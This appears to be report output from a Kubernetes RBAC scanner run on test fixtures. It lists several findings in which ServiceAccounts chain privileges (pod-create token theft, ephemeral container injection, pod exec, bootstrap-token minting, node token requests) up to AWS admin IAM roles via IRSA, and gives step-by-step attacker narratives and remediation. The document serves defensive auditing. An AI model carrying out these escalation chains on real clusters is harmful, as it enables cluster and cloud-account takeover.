Scope · Cluster Source ServiceAccount/privesc-fixtures/sa-pod-create-escape -> external AWS IAM role: scope is the union of every action the IAM role's attached policies allow, outside the Kubernetes API surface.
Category: Privilege Escalation Subject: ServiceAccount/privesc-fixtures/sa-pod-create-escape

Subject ServiceAccount/privesc-fixtures/sa-pod-create-escape has a privesc path that ends at an external AWS IAM role. The terminal hop is irsa_assume_role: the cluster's OIDC provider issues a JWT for the ServiceAccount, and AWS STS exchanges that JWT for IAM role credentials. Once the attacker holds those credentials, the cluster's RBAC layer is no longer the perimeter; the IAM role's attached policies are. Real IRSA roles in production commonly grant S3 read/write, DynamoDB, KMS Decrypt, or worse, and admin-flavored roles short-circuit the entire AWS account boundary.

The chain (3 hop(s); each step uses an explicit primitive the engine validated):
1. ServiceAccount/privesc-fixtures/sa-pod-create-escape → ServiceAccount/privesc-fixtures/sa-ephemeral via pod_create_token_theft (create pods): can create pods that mount ServiceAccount privesc-fixtures/sa-ephemeral
2. ServiceAccount/privesc-fixtures/sa-ephemeral → ServiceAccount/cloud-eks-test/eks-admin-irsa via ephemeral_container_inject (update,patch pods/ephemeralcontainers): can inject an ephemeral container into pods running as ServiceAccount cloud-eks-test/eks-admin-irsa
3. ServiceAccount/cloud-eks-test/eks-admin-irsa → User/arn:aws:iam::123456789012:role/AdministratorAccess via irsa_assume_role (arn:aws:iam::123456789012:role/AdministratorAccess): ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA

This finding does NOT score AWS-side risk: the IAM role's policies live in the cloud account, not the snapshot. A separate cloud-side review (Cloudsplaining, IAM Access Analyzer, or aws iam simulate-principal-policy) is required to convert this into a concrete impact statement.

Impact Compromise of this SA yields AWS account access scoped by the IAM role's policies. Even least-privilege IRSA roles routinely grant data-plane reads (S3, DynamoDB, KMS) that turn cluster compromise into data exfiltration; admin-flavored roles turn it into account takeover.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload mounting ServiceAccount/privesc-fixtures/sa-pod-create-escape.
  2. Acting as ServiceAccount/privesc-fixtures/sa-pod-create-escape, the attacker creates a pod that mounts the ServiceAccount/privesc-fixtures/sa-ephemeral ServiceAccount and then reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.
  3. Acting as ServiceAccount/privesc-fixtures/sa-ephemeral, the attacker uses the ephemeral_container_inject technique to reach ServiceAccount/cloud-eks-test/eks-admin-irsa via update,patch pods/ephemeralcontainers, which gains can inject an ephemeral container into pods running as ServiceAccount cloud-eks-test/eks-admin-irsa.
  4. Acting as ServiceAccount/cloud-eks-test/eks-admin-irsa, the attacker uses the irsa_assume_role technique to reach User/arn:aws:iam::123456789012:role/AdministratorAccess via arn:aws:iam::123456789012:role/AdministratorAccess, which gains ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA.
  5. Final step: the IRSA-projected token is exchanged at the AWS STS endpoint (sts:AssumeRoleWithWebIdentity) for an AWS access-key/secret/session-token triple authenticated as the IAM role. The attacker can now invoke any AWS API the role's policies allow, from inside or outside the cluster.
  1. Step 1 of 3 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/privesc-fixtures/sa-pod-create-escape → ServiceAccount/privesc-fixtures/sa-ephemeral
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount privesc-fixtures/sa-ephemeral
  2. Step 2 of 3 Ephemeral container injection ephemeral_container_inject

    update/patch on pods/ephemeralcontainers adds an attacker-chosen container to an already-running pod (the mechanism behind kubectl debug). The injected container joins the victim pod's namespaces and can mount its ServiceAccount token, so it is effectively pod creation against an existing victim: the attacker picks the image but inherits the pod's identity and host exposure.

    From ServiceAccount/privesc-fixtures/sa-ephemeral → ServiceAccount/cloud-eks-test/eks-admin-irsa
    Permission granted update,patch pods/ephemeralcontainers
    Gives the attacker can inject an ephemeral container into pods running as ServiceAccount cloud-eks-test/eks-admin-irsa
  3. Step 3 of 3 Assume AWS IAM Role via IRSA irsa_assume_role

    A pod whose ServiceAccount is annotated with eks.amazonaws.com/role-arn can call sts:AssumeRoleWithWebIdentity with the projected SA token and receive short-lived AWS credentials for the named IAM role. The exchange happens entirely in user-space inside the pod, so anyone with exec on that pod (or with create-pod rights in the namespace) inherits the IAM role's permissions.

    What the attacker gains depends on the IAM role's policy. If the role carries AdministratorAccess, PowerUserAccess, or any *:* grant, this is an AWS-account-wide takeover routed through Kubernetes.

    From ServiceAccount/cloud-eks-test/eks-admin-irsa → User/arn:aws:iam::123456789012:role/AdministratorAccess
    Permission granted arn:aws:iam::123456789012:role/AdministratorAccess
    Gives the attacker ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA
Remediation
Tighten the IRSA role: review its trust policy and attached permissions, then break the chain at the weakest hop. Concretely: remove the create pods capability that enables hop 1 (ServiceAccount/privesc-fixtures/sa-pod-create-escape → ServiceAccount/privesc-fixtures/sa-ephemeral).
  1. Audit the IAM role's trust policy: aws iam get-role --role-name <role> and confirm the Condition block restricts sub to exactly this ServiceAccount (e.g. system:serviceaccount:<ns>:<sa>). A wildcard or missing condition lets *any* SA in the cluster mint role credentials.
  2. Apply least-privilege actions on the role's attached policies. Replace Action: "*" or Resource: "*" with the minimum set the workload actually uses (CloudTrail data-event logs + IAM Access Analyzer findings are the canonical inputs).
  3. Tag and audit role usage with CloudTrail. Set aws_iam_role_last_used to alert on any AssumeRole event not originating from the expected SA's OIDC sub.
  4. Break the in-cluster chain: remove the create pods capability that enables hop 1 (ServiceAccount/privesc-fixtures/sa-pod-create-escape → ServiceAccount/privesc-fixtures/sa-ephemeral).
  5. Wire admission policy: a Kyverno rule that fails any new ServiceAccount whose eks.amazonaws.com/role-arn annotation points at an admin-flavored role (AdministratorAccess, PowerUserAccess, AWSReservedSSO_AdministratorAccess_*) outside an explicit allowlist.
HIGH ServiceAccount/privesc-fixtures/sa-pod-exec Cluster 6.8
ServiceAccount can reach external AWS IAM role
Scope · Cluster Source ServiceAccount/privesc-fixtures/sa-pod-exec -> external AWS IAM role: scope is the union of every action the IAM role's attached policies allow, outside the Kubernetes API surface.
Category: Privilege Escalation Subject: ServiceAccount/privesc-fixtures/sa-pod-exec

Subject ServiceAccount/privesc-fixtures/sa-pod-exec has a privesc path that ends at an external AWS IAM role. The terminal hop is irsa_assume_role: the cluster's OIDC provider issues a JWT for the ServiceAccount, and AWS STS exchanges that JWT for IAM role credentials. Once the attacker holds those credentials, the cluster's RBAC layer is no longer the perimeter; the IAM role's attached policies are. Real IRSA roles in production commonly grant S3 read/write, DynamoDB, KMS Decrypt, or worse, and admin-flavored roles short-circuit the entire AWS account boundary.

The chain (3 hop(s); each step uses an explicit primitive the engine validated):
1. ServiceAccount/privesc-fixtures/sa-pod-exec → ServiceAccount/rbac-fixtures/sa-pod-create via pod_exec (create,get pods/exec|pods/attach): can exec into pods running as ServiceAccount rbac-fixtures/sa-pod-create
2. ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/cloud-eks-imp/imp-irsa via pod_create_token_theft (create pods): can create pods that mount ServiceAccount cloud-eks-imp/imp-irsa
3. ServiceAccount/cloud-eks-imp/imp-irsa → User/arn:aws:iam::123456789012:role/ImpersonatorAdminRole via irsa_assume_role (arn:aws:iam::123456789012:role/ImpersonatorAdminRole): ServiceAccount can assume arn:aws:iam::123456789012:role/ImpersonatorAdminRole via IRSA

This finding does NOT score AWS-side risk: the IAM role's policies live in the cloud account, not the snapshot. A separate cloud-side review (Cloudsplaining, IAM Access Analyzer, or aws iam simulate-principal-policy) is required to convert this into a concrete impact statement.

Impact Compromise of this SA yields AWS account access scoped by the IAM role's policies. Even least-privilege IRSA roles routinely grant data-plane reads (S3, DynamoDB, KMS) that turn cluster compromise into data exfiltration; admin-flavored roles turn it into account takeover.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload mounting ServiceAccount/privesc-fixtures/sa-pod-exec.
  2. Acting as ServiceAccount/privesc-fixtures/sa-pod-exec, the attacker uses pods/exec (create,get pods/exec|pods/attach) to open a shell inside ServiceAccount/rbac-fixtures/sa-pod-create and inherit whatever ServiceAccount or host privileges that container holds.
  3. Acting as ServiceAccount/rbac-fixtures/sa-pod-create, the attacker creates a pod that mounts the ServiceAccount/cloud-eks-imp/imp-irsa ServiceAccount and then reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.
  4. Acting as ServiceAccount/cloud-eks-imp/imp-irsa, the attacker uses the irsa_assume_role technique to reach User/arn:aws:iam::123456789012:role/ImpersonatorAdminRole via arn:aws:iam::123456789012:role/ImpersonatorAdminRole, which gains ServiceAccount can assume arn:aws:iam::123456789012:role/ImpersonatorAdminRole via IRSA.
  5. Final step: the IRSA-projected token is exchanged at the AWS STS endpoint (sts:AssumeRoleWithWebIdentity) for an AWS access-key/secret/session-token triple authenticated as the IAM role. The attacker can now invoke any AWS API the role's policies allow, from inside or outside the cluster.
  1. Step 1 of 3 Pod exec → container takeover pod_exec

    The pods/exec subresource opens a shell inside a running container. If the container's pod uses a privileged ServiceAccount, the attacker inherits that SA's reach. If the container is itself privileged or mounts the host, this is also a node-escape primitive.

    From ServiceAccount/privesc-fixtures/sa-pod-exec → ServiceAccount/rbac-fixtures/sa-pod-create
    Permission granted create,get pods/exec|pods/attach
    Gives the attacker can exec into pods running as ServiceAccount rbac-fixtures/sa-pod-create
  2. Step 2 of 3 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/cloud-eks-imp/imp-irsa
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount cloud-eks-imp/imp-irsa
  3. Step 3 of 3 Assume AWS IAM Role via IRSA irsa_assume_role

    A pod whose ServiceAccount is annotated with eks.amazonaws.com/role-arn can call sts:AssumeRoleWithWebIdentity with the projected SA token and receive short-lived AWS credentials for the named IAM role. The exchange happens entirely in user-space inside the pod, so anyone with exec on that pod (or with create-pod rights in the namespace) inherits the IAM role's permissions.

    What the attacker gains depends on the IAM role's policy. If the role carries AdministratorAccess, PowerUserAccess, or any *:* grant, this is an AWS-account-wide takeover routed through Kubernetes.

    From ServiceAccount/cloud-eks-imp/imp-irsa → User/arn:aws:iam::123456789012:role/ImpersonatorAdminRole
    Permission granted arn:aws:iam::123456789012:role/ImpersonatorAdminRole
    Gives the attacker ServiceAccount can assume arn:aws:iam::123456789012:role/ImpersonatorAdminRole via IRSA
Remediation
Tighten the IRSA role: review its trust policy and attached permissions, then break the chain at the weakest hop. Concretely: remove the create pods capability that enables hop 2 (ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/cloud-eks-imp/imp-irsa).
  1. Audit the IAM role's trust policy: aws iam get-role --role-name <role> and confirm the Condition block restricts sub to exactly this ServiceAccount (e.g. system:serviceaccount:<ns>:<sa>). A wildcard or missing condition lets *any* SA in the cluster mint role credentials.
  2. Apply least-privilege actions on the role's attached policies. Replace Action: "*" or Resource: "*" with the minimum set the workload actually uses (CloudTrail data-event logs + IAM Access Analyzer findings are the canonical inputs).
  3. Tag and audit role usage with CloudTrail. Set aws_iam_role_last_used to alert on any AssumeRole event not originating from the expected SA's OIDC sub.
  4. Break the in-cluster chain: remove the create pods capability that enables hop 2 (ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/cloud-eks-imp/imp-irsa).
  5. Wire admission policy: a Kyverno rule that fails any new ServiceAccount whose eks.amazonaws.com/role-arn annotation points at an admin-flavored role (AdministratorAccess, PowerUserAccess, AWSReservedSSO_AdministratorAccess_*) outside an explicit allowlist.
HIGH ServiceAccount/nodeid-fixtures/nodeid-tokenwriter Cluster 6.7
ServiceAccount can reach external AWS IAM role
Scope · Cluster Source ServiceAccount/nodeid-fixtures/nodeid-tokenwriter -> external AWS IAM role: scope is the union of every action the IAM role's attached policies allow, outside the Kubernetes API surface.
Category: Privilege Escalation Subject: ServiceAccount/nodeid-fixtures/nodeid-tokenwriter

Subject ServiceAccount/nodeid-fixtures/nodeid-tokenwriter has a privesc path that ends at an external AWS IAM role. The terminal hop is irsa_assume_role: the cluster's OIDC provider issues a JWT for the ServiceAccount, and AWS STS exchanges that JWT for IAM role credentials. Once the attacker holds those credentials, the cluster's RBAC layer is no longer the perimeter; the IAM role's attached policies are. Real IRSA roles in production commonly grant S3 read/write, DynamoDB, KMS Decrypt, or worse, and admin-flavored roles short-circuit the entire AWS account boundary.

The chain (4 hop(s); each step uses an explicit primitive the engine validated):
1. ServiceAccount/nodeid-fixtures/nodeid-tokenwriter → / via bootstrap_token_mint (create secrets in kube-system): can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name
2. ServiceAccount/nodeid-fixtures/nodeid-tokenwriter → ServiceAccount/rbac-fixtures/sa-pod-create via node_token_request (node authorizer: create serviceaccounts/token for pods bound to the node): as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount rbac-fixtures/sa-pod-create, whose pod is bound there
3. ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/cloud-eks-imp/imp-irsa via pod_create_token_theft (create pods): can create pods that mount ServiceAccount cloud-eks-imp/imp-irsa
4. ServiceAccount/cloud-eks-imp/imp-irsa → User/arn:aws:iam::123456789012:role/ImpersonatorAdminRole via irsa_assume_role (arn:aws:iam::123456789012:role/ImpersonatorAdminRole): ServiceAccount can assume arn:aws:iam::123456789012:role/ImpersonatorAdminRole via IRSA

This finding does NOT score AWS-side risk: the IAM role's policies live in the cloud account, not the snapshot. A separate cloud-side review (Cloudsplaining, IAM Access Analyzer, or aws iam simulate-principal-policy) is required to convert this into a concrete impact statement.

Impact Compromise of this SA yields AWS account access scoped by the IAM role's policies. Even least-privilege IRSA roles routinely grant data-plane reads (S3, DynamoDB, KMS) that turn cluster compromise into data exfiltration; admin-flavored roles turn it into account takeover.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload mounting ServiceAccount/nodeid-fixtures/nodeid-tokenwriter.
  2. Acting as ServiceAccount/nodeid-fixtures/nodeid-tokenwriter, the attacker writes a Secret of type bootstrap.kubernetes.io/token in kube-system (create secrets in kube-system). The bootstrap-token authenticator treats it as a credential for system:bootstrap:<id> in the groups the Secret lists, and this cluster's bootstrap group is bound to the nodeclient CSR auto-approval. The token therefore buys an auto-approved kubelet client certificate for any node name.
  3. Holding a node identity, the attacker requests a token for ServiceAccount ServiceAccount/rbac-fixtures/sa-pod-create through the TokenRequest API. The Node authorizer allows a node to mint tokens for the ServiceAccount of any pod bound to it, and the identity names whichever node that pod runs on, so the request succeeds and the attacker now acts as ServiceAccount/rbac-fixtures/sa-pod-create.
  4. Acting as ServiceAccount/rbac-fixtures/sa-pod-create, the attacker creates a pod that mounts the ServiceAccount/cloud-eks-imp/imp-irsa ServiceAccount and then reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.
  5. Acting as ServiceAccount/cloud-eks-imp/imp-irsa, the attacker uses the irsa_assume_role technique to reach User/arn:aws:iam::123456789012:role/ImpersonatorAdminRole via arn:aws:iam::123456789012:role/ImpersonatorAdminRole, which gains ServiceAccount can assume arn:aws:iam::123456789012:role/ImpersonatorAdminRole via IRSA.
  6. Final step: the IRSA-projected token is exchanged at the AWS STS endpoint (sts:AssumeRoleWithWebIdentity) for an AWS access-key/secret/session-token triple authenticated as the IAM role. The attacker can now invoke any AWS API the role's policies allow, from inside or outside the cluster.
  1. Step 1 of 4 Bootstrap token minting bootstrap_token_mint

    A Secret of type bootstrap.kubernetes.io/token in kube-system is a credential: the bootstrap-token authenticator accepts its <id>.<secret> as the user system:bootstrap:<id> in the groups the Secret's auth-extra-groups names. On a kubeadm cluster that group may submit kubelet client CSRs that the controller manager auto-approves.

    A Secret write reaching kube-system therefore mints a token that buys a kubelet identity for any node name. The edge is drawn only when the cluster has the auto-approval binding; without it, the token authenticates but reaches nothing.

    From ServiceAccount/nodeid-fixtures/nodeid-tokenwriter
    Permission granted create secrets in kube-system
    Gives the attacker can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name
  2. Step 2 of 4 Node authorizer: token request for a node's pods node_token_request

    The Node authorizer lets a kubelet request a token (the TokenRequest API) for the ServiceAccount of any pod bound to its node, because the kubelet has to mount that token into the pod. A node identity for a chosen name therefore yields the tokens of every ServiceAccount with a pod on that node, and across names, in the cluster.

    This edge leaves the node_identity sink; it is what makes that sink traversable in the graph.

    From ServiceAccount/nodeid-fixtures/nodeid-tokenwriter → ServiceAccount/rbac-fixtures/sa-pod-create
    Permission granted node authorizer: create serviceaccounts/token for pods bound to the node
    Gives the attacker as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount rbac-fixtures/sa-pod-create, whose pod is bound there
  3. Step 3 of 4 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/cloud-eks-imp/imp-irsa
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount cloud-eks-imp/imp-irsa
  4. Step 4 of 4 Assume AWS IAM Role via IRSA irsa_assume_role

    A pod whose ServiceAccount is annotated with eks.amazonaws.com/role-arn can call sts:AssumeRoleWithWebIdentity with the projected SA token and receive short-lived AWS credentials for the named IAM role. The exchange happens entirely in user-space inside the pod, so anyone with exec on that pod (or with create-pod rights in the namespace) inherits the IAM role's permissions.

    What the attacker gains depends on the IAM role's policy. If the role carries AdministratorAccess, PowerUserAccess, or any *:* grant, this is an AWS-account-wide takeover routed through Kubernetes.

    From ServiceAccount/cloud-eks-imp/imp-irsa → User/arn:aws:iam::123456789012:role/ImpersonatorAdminRole
    Permission granted arn:aws:iam::123456789012:role/ImpersonatorAdminRole
    Gives the attacker ServiceAccount can assume arn:aws:iam::123456789012:role/ImpersonatorAdminRole via IRSA
Remediation
Tighten the IRSA role: review its trust policy and attached permissions, then break the chain at the weakest hop. Concretely: remove the create pods capability that enables hop 3 (ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/cloud-eks-imp/imp-irsa).
  1. Audit the IAM role's trust policy: aws iam get-role --role-name <role> and confirm the Condition block restricts sub to exactly this ServiceAccount (e.g. system:serviceaccount:<ns>:<sa>). A wildcard or missing condition lets *any* SA in the cluster mint role credentials.
  2. Apply least-privilege actions on the role's attached policies. Replace Action: "*" or Resource: "*" with the minimum set the workload actually uses (CloudTrail data-event logs + IAM Access Analyzer findings are the canonical inputs).
  3. Tag and audit role usage with CloudTrail. Set aws_iam_role_last_used to alert on any AssumeRole event not originating from the expected SA's OIDC sub.
  4. Break the in-cluster chain: remove the create pods capability that enables hop 3 (ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/cloud-eks-imp/imp-irsa).
  5. Wire admission policy: a Kyverno rule that fails any new ServiceAccount whose eks.amazonaws.com/role-arn annotation points at an admin-flavored role (AdministratorAccess, PowerUserAccess, AWSReservedSSO_AdministratorAccess_*) outside an explicit allowlist.
HIGH ServiceAccount/privesc-fixtures/sa-secret-mint Cluster 6.7
ServiceAccount can reach external AWS IAM role
Scope · Cluster Source ServiceAccount/privesc-fixtures/sa-secret-mint -> external AWS IAM role: scope is the union of every action the IAM role's attached policies allow, outside the Kubernetes API surface.
Category: Privilege Escalation Subject: ServiceAccount/privesc-fixtures/sa-secret-mint

Subject ServiceAccount/privesc-fixtures/sa-secret-mint has a privesc path that ends at an external AWS IAM role. The terminal hop is irsa_assume_role: the cluster's OIDC provider issues a JWT for the ServiceAccount, and AWS STS exchanges that JWT for IAM role credentials. Once the attacker holds those credentials, the cluster's RBAC layer is no longer the perimeter; the IAM role's attached policies are. Real IRSA roles in production commonly grant S3 read/write, DynamoDB, KMS Decrypt, or worse, and admin-flavored roles short-circuit the entire AWS account boundary.

The chain (4 hop(s); each step uses an explicit primitive the engine validated):
1. ServiceAccount/privesc-fixtures/sa-secret-mint → / via bootstrap_token_mint (create,get secrets in kube-system): can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name
2. ServiceAccount/privesc-fixtures/sa-secret-mint → ServiceAccount/rbac-fixtures/sa-pod-create via node_token_request (node authorizer: create serviceaccounts/token for pods bound to the node): as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount rbac-fixtures/sa-pod-create, whose pod is bound there
3. ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/cloud-eks-imp/imp-irsa via pod_create_token_theft (create pods): can create pods that mount ServiceAccount cloud-eks-imp/imp-irsa
4. ServiceAccount/cloud-eks-imp/imp-irsa → User/arn:aws:iam::123456789012:role/ImpersonatorAdminRole via irsa_assume_role (arn:aws:iam::123456789012:role/ImpersonatorAdminRole): ServiceAccount can assume arn:aws:iam::123456789012:role/ImpersonatorAdminRole via IRSA

This finding does NOT score AWS-side risk: the IAM role's policies live in the cloud account, not the snapshot. A separate cloud-side review (Cloudsplaining, IAM Access Analyzer, or aws iam simulate-principal-policy) is required to convert this into a concrete impact statement.

Impact Compromise of this SA yields AWS account access scoped by the IAM role's policies. Even least-privilege IRSA roles routinely grant data-plane reads (S3, DynamoDB, KMS) that turn cluster compromise into data exfiltration; admin-flavored roles turn it into account takeover.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload mounting ServiceAccount/privesc-fixtures/sa-secret-mint.
  2. Acting as ServiceAccount/privesc-fixtures/sa-secret-mint, the attacker writes a Secret of type bootstrap.kubernetes.io/token in kube-system (create,get secrets in kube-system). The bootstrap-token authenticator treats it as a credential for system:bootstrap:<id> in the groups the Secret lists, and this cluster's bootstrap group is bound to the nodeclient CSR auto-approval. The token therefore buys an auto-approved kubelet client certificate for any node name.
  3. Holding a node identity, the attacker requests a token for ServiceAccount ServiceAccount/rbac-fixtures/sa-pod-create through the TokenRequest API. The Node authorizer allows a node to mint tokens for the ServiceAccount of any pod bound to it, and the identity names whichever node that pod runs on, so the request succeeds and the attacker now acts as ServiceAccount/rbac-fixtures/sa-pod-create.
  4. Acting as ServiceAccount/rbac-fixtures/sa-pod-create, the attacker creates a pod that mounts the ServiceAccount/cloud-eks-imp/imp-irsa ServiceAccount and then reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.
  5. Acting as ServiceAccount/cloud-eks-imp/imp-irsa, the attacker uses the irsa_assume_role technique to reach User/arn:aws:iam::123456789012:role/ImpersonatorAdminRole via arn:aws:iam::123456789012:role/ImpersonatorAdminRole, which gains ServiceAccount can assume arn:aws:iam::123456789012:role/ImpersonatorAdminRole via IRSA.
  6. Final step: the IRSA-projected token is exchanged at the AWS STS endpoint (sts:AssumeRoleWithWebIdentity) for an AWS access-key/secret/session-token triple authenticated as the IAM role. The attacker can now invoke any AWS API the role's policies allow, from inside or outside the cluster.
  1. Step 1 of 4 Bootstrap token minting bootstrap_token_mint

    A Secret of type bootstrap.kubernetes.io/token in kube-system is a credential: the bootstrap-token authenticator accepts its <id>.<secret> as the user system:bootstrap:<id> in the groups the Secret's auth-extra-groups names. On a kubeadm cluster that group may submit kubelet client CSRs that the controller manager auto-approves.

    A Secret write reaching kube-system therefore mints a token that buys a kubelet identity for any node name. The edge is drawn only when the cluster has the auto-approval binding; without it, the token authenticates but reaches nothing.

    From ServiceAccount/privesc-fixtures/sa-secret-mint
    Permission granted create,get secrets in kube-system
    Gives the attacker can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name
  2. Step 2 of 4 Node authorizer: token request for a node's pods node_token_request

    The Node authorizer lets a kubelet request a token (the TokenRequest API) for the ServiceAccount of any pod bound to its node, because the kubelet has to mount that token into the pod. A node identity for a chosen name therefore yields the tokens of every ServiceAccount with a pod on that node, and across names, in the cluster.

    This edge leaves the node_identity sink; it is what makes that sink traversable in the graph.

    From ServiceAccount/privesc-fixtures/sa-secret-mint → ServiceAccount/rbac-fixtures/sa-pod-create
    Permission granted node authorizer: create serviceaccounts/token for pods bound to the node
    Gives the attacker as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount rbac-fixtures/sa-pod-create, whose pod is bound there
  3. Step 3 of 4 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/cloud-eks-imp/imp-irsa
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount cloud-eks-imp/imp-irsa
  4. Step 4 of 4 Assume AWS IAM Role via IRSA irsa_assume_role

    A pod whose ServiceAccount is annotated with eks.amazonaws.com/role-arn can call sts:AssumeRoleWithWebIdentity with the projected SA token and receive short-lived AWS credentials for the named IAM role. The exchange happens entirely in user-space inside the pod, so anyone with exec on that pod (or with create-pod rights in the namespace) inherits the IAM role's permissions.

    What the attacker gains depends on the IAM role's policy. If the role carries AdministratorAccess, PowerUserAccess, or any *:* grant, this is an AWS-account-wide takeover routed through Kubernetes.

    From ServiceAccount/cloud-eks-imp/imp-irsa → User/arn:aws:iam::123456789012:role/ImpersonatorAdminRole
    Permission granted arn:aws:iam::123456789012:role/ImpersonatorAdminRole
    Gives the attacker ServiceAccount can assume arn:aws:iam::123456789012:role/ImpersonatorAdminRole via IRSA
Remediation
Tighten the IRSA role: review its trust policy and attached permissions, then break the chain at the weakest hop. Concretely: remove the create pods capability that enables hop 3 (ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/cloud-eks-imp/imp-irsa).
  1. Audit the IAM role's trust policy: aws iam get-role --role-name <role> and confirm the Condition block restricts sub to exactly this ServiceAccount (e.g. system:serviceaccount:<ns>:<sa>). A wildcard or missing condition lets *any* SA in the cluster mint role credentials.
  2. Apply least-privilege actions on the role's attached policies. Replace Action: "*" or Resource: "*" with the minimum set the workload actually uses (CloudTrail data-event logs + IAM Access Analyzer findings are the canonical inputs).
  3. Tag and audit role usage with CloudTrail. Set aws_iam_role_last_used to alert on any AssumeRole event not originating from the expected SA's OIDC sub.
  4. Break the in-cluster chain: remove the create pods capability that enables hop 3 (ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/cloud-eks-imp/imp-irsa).
  5. Wire admission policy: a Kyverno rule that fails any new ServiceAccount whose eks.amazonaws.com/role-arn annotation points at an admin-flavored role (AdministratorAccess, PowerUserAccess, AWSReservedSSO_AdministratorAccess_*) outside an explicit allowlist.
HIGH ServiceAccount/privesc-fixtures/sa-pod-create-escape Cluster 6.4
ServiceAccount can reach external AWS IAM role
Scope · Cluster Source ServiceAccount/privesc-fixtures/sa-pod-create-escape -> external AWS IAM role: scope is the union of every action the IAM role's attached policies allow, outside the Kubernetes API surface.
Category: Privilege Escalation Subject: ServiceAccount/privesc-fixtures/sa-pod-create-escape

